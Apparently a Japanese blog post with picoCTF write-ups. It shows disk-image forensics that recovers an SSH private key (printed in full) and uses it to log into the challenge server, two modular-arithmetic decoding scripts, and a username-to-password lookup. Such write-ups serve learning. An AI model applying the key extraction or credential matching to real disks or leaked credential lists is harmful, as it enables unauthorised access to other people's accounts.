それぞれのパーティションをmmcatコマンドで抽出して別ファイルに保存した。

mmcat disk.img 2 > img.002
mmcat disk.img 3 > img.003

SSHをキーワードにしてファイルの一覧を調べたところ、パーティション03に以下の4つのSSH秘密鍵を発見した。

  • ssh_host_ed25519_key
  • ssh_host_ecdsa_key
  • ssh_host_dsa_key
  • ssh_host_rsa_key
$ fls -r img.003 | grep -i ssh
++ r/r 2147:	sshd
+++ l/l 54:	sshd
++ r/r 2148:	sshd
+ d/d 14:	ssh
++ r/r 15:	ssh_host_ed25519_key
++ r/r 16:	ssh_host_ed25519_key.pub
++ r/r 17:	ssh_host_ecdsa_key
++ r/r 18:	ssh_host_ecdsa_key.pub
++ r/r 19:	ssh_host_dsa_key
++ r/r 20:	ssh_host_dsa_key.pub
++ r/r 21:	ssh_host_rsa_key
++ r/r 22:	ssh_host_rsa_key.pub
++ r/r 2136:	ssh_config
++ r/r 2149:	sshd_config
++ r/r 2084:	ssh-keygen
++ r/- * 0:	ssh-copy-id
++ r/- * 0:	ssh-keyscan
++ r/- * 0:	ssh-pkcs11-helper
++ r/r 2140:	ssh-add
++ r/r 2145:	ssh
++ r/r 2144:	ssh-pkcs11-helper
++ r/r 2143:	ssh-keyscan
++ r/r 2142:	ssh-copy-id
++ r/r 2141:	ssh-agent
++ r/r 2150:	sshd
+++++ r/r 676:	sshd
++ d/d 3907:	ssh
+++ r/r 2152:	ssh-sk-helper
+++ r/r 2151:	ssh-pkcs11-helper
+ r/r 712:	setup-sshd
+ d/d 3916:	.ssh

inode番号をもとに発見した4つのSSH秘密鍵を抽出して保存した。

icat img.003 15 > ssh_host_ed25519_key
icat img.003 17 > ssh_host_ecdsa_key
icat img.003 19 > ssh_host_dsa_key
icat img.003 21 > ssh_host_rsa_key

が、結論から言うと、これらは正しい秘密鍵ではなかった。

手掛かりを求めて、ユーザーのコマンド履歴を調べてみた。

$ fls -r img.003 | grep -i history
+ r/r 2344:	.ash_history

ashのhistoryファイル.ash_history (inode番号2344) が見つかったので、中身を確認してみた。

$ icat -s img.003 2344
ssh-keygen -t ed25519
ls .ssh/
halt

ssh-keygenコマンドでed25519の鍵を作成しているのが確認できた。

ed25519をキーワードにしてファイルの一覧を調べたところ、id_ed25519 (inode番号2345) という秘密鍵を発見した。

$ fls -r img.003 | grep -i ed25519
++ r/r 15:	ssh_host_ed25519_key
++ r/r 16:	ssh_host_ed25519_key.pub
++ r/r 2345:	id_ed25519
++ r/r 2346:	id_ed25519.pub
$ icat img.003 2345
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBgrXe4bKNhOzkCLWOmk4zDMimW9RVZngX51Y8h3BmKLAAAAJgxpYKDMaWC
gwAAAAtzc2gtZWQyNTUxOQAAACBgrXe4bKNhOzkCLWOmk4zDMimW9RVZngX51Y8h3BmKLA
AAAECItu0F8DIjWxTp+KeMDvX1lQwYtUvP2SfSVOfMOChxYGCtd7hso2E7OQItY6aTjMMy
KZb1FVmeBfnVjyHcGYosAAAADnJvb3RAbG9jYWxob3N0AQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
$ icat img.003 2345 > id_ed25519
$ cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBgrXe4bKNhOzkCLWOmk4zDMimW9RVZngX51Y8h3BmKLAAAAJgxpYKDMaWC
gwAAAAtzc2gtZWQyNTUxOQAAACBgrXe4bKNhOzkCLWOmk4zDMimW9RVZngX51Y8h3BmKLA
AAAECItu0F8DIjWxTp+KeMDvX1lQwYtUvP2SfSVOfMOChxYGCtd7hso2E7OQItY6aTjMMy
KZb1FVmeBfnVjyHcGYosAAAADnJvb3RAbG9jYWxob3N0AQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----

秘密鍵id_ed25519を用いたところ、サーバーへの接続が成功し、フラグを取ることが出来た。

$ ssh -i id_ed25519 -p 61408 ctf-player@saturn.picoctf.net
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.19.0-1024-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ctf-player@challenge:~$ 

ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ cat flag.txt 
picoCTF{k3y_5l3u7h_<REDACTED>}

basic-mod1 (100points)

以下の暗号化されたメッセージを復号してフラグを取得する問題。

128 322 353 235 336 73 198 332 202 285 57 87 262 221 218 405 335 101 256 227 112 140 

問題文で示された復号の手順は以下の通り。

  1. それぞれの数字と37のmodを取る。
  2. 0~25の数字は小文字のアルファベットa~zに変換する。
  3. 26~35の数字は0~9の数字に変換する。
  4. 36はアンダースコア (_)に変換する。

以下のスクリプトを書いてメッセージを復号した。

enc_msg = '128 322 353 235 336 73 198 332 202 285 57 87 262 221 218 405 335 101 256 227 112 140'.split(' ')
moded_msg = []

for i in enc_msg:
    moded_msg.append(int(i) % 37)
#print(moded_msg)

alphabets = "abcdefghijklmnopqrstuvwxyz"
digits = "0123456789"
flag = ""

for i in moded_msg:
    if (int(i) == 36):
        flag += "_"
    elif (int(i) <= 25):
        flag += alphabets[int(i) - 26]
    else:
        flag += digits[int(i) - 26]
print(flag)
$ python3 decoder.py
r0und_n_r0und_<REDACTED>

basic-mod2 (100points)

以下の暗号化されたメッセージを復号してフラグを取得する問題。

432 331 192 108 180 50 231 188 105 51 364 168 344 195 297 342 292 198 448 62 236 342 63 

問題文で示された復号の手順は以下の通り。

  1. それぞれの数字と41のmodを取り、モジュラ逆数を求める。
  2. 1~26の数字は小文字のアルファベットa~zに変換する。
  3. 27~36の数字は0~9の数字に変換する。
  4. 37はアンダースコア (_)に変換する。

以下のスクリプトを書いてメッセージを復号した。(モジュラ逆数を求める関数はネットに落ちていたものを拝借した。)

enc_msg = "432 331 192 108 180 50 231 188 105 51 364 168 344 195 297 342 292 198 448 62 236 342 63".split(' ')
inversed_msg = []
alphabets = "abcdefghijklmnopqrstuvwxyz"
digits = "0123456789"
flag = ""

## Ref: https://www.geeksforgeeks.org/multiplicative-inverse-under-modulo-m/
def modInverse(A, M):
    for X in range(1, M):
        if (((A % M) * (X % M)) % M == 1):
            return X
    return -1
    
for i in enc_msg:
    inversed_msg.append(modInverse(int(i), 41))
#print(inversed_msg)

for i in inversed_msg:
    if (int(i) == 37):
        flag += "_"
    elif (int(i) <= 26):
        flag += alphabets[int(i) - 27]
    else:
        flag += digits[int(i) - 27]
print(flag)
$ python3 decoder.py
1nv3r53ly_h4rd_<REDACTED>

credstuff (100points)

usernames.txtpasswords.txtを照らし合わせて、ユーザー名cultirisのパスワードを求める問題。

問題文によると、usernames.txtの1行目に記載されているユーザーのパスワードはpasswords.txtの1行目に記載されており、usernames.txtの2行目に記載されているユーザーのパスワードはpasswords.txtの2行目に記載されているとのこと。

つまり、cultirisusernames.txtのN行目に記載されているか突き止めたのち、passwords.txtのN行目を確認すればパスワードを取得できる。

grepコマンドを-nオプション付きで実行したところ、cultirisusernames.txtの378行目に記載されていた。

$ grep -n cultiris usernames.txt
378:cultiris

続いてsedコマンドでpasswords.txtの378行目に記載されているパスワードを確認した。

$ sed -n 378P passwords.txt
cvpbPGS{P7e1S_54I35_71Z3}

パスワードはROT13 エンコードされていた。以下のワンライナーで復号できた。

$ echo cvpbPGS{P7e1S_54I35_71Z3} | tr "A-Z" "N-ZA-M" | tr "a-z" "n-za-m"
picoCTF{C7r1F_54V35_<REDACTED>}

Leave a Reply

Your email address will not be published. Required fields are marked *